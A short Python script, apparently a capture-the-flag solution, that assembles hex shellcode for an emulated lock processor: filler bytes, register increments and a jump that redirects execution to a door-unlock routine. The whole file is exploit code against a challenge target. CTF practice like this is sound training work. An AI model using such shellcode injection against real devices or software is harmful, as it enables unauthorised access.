16 lines
533 B
Python
16 lines
533 B
Python
FILL_BYTE = "30"
|
|
ADD_8_TO_R10 = "7a52"
|
|
ADD_1_TO_R10 = "5a53"
|
|
ADD_R10_TO_R14 = "4e5a"
|
|
JMP_6F_FORWARD = "7a34"
|
|
NOP = "4f5a" # ADD_R10_TO_R15 but since we do not need R15 it acts as a NOP
|
|
|
|
SHELL_CODE = FILL_BYTE * 89 # fill memory till conditional_unlock_door
|
|
SHELL_CODE += ADD_8_TO_R10 * 15
|
|
SHELL_CODE += ADD_1_TO_R10 * 7 # increment r10 to 0x7f
|
|
SHELL_CODE += ADD_R10_TO_R14 # set r14 to 0x7f (r14 is '0' initially)
|
|
SHELL_CODE += NOP * 76 # forward PC
|
|
SHELL_CODE += JMP_6F_FORWARD # jump to 4602
|
|
print(SHELL_CODE)
|
|
|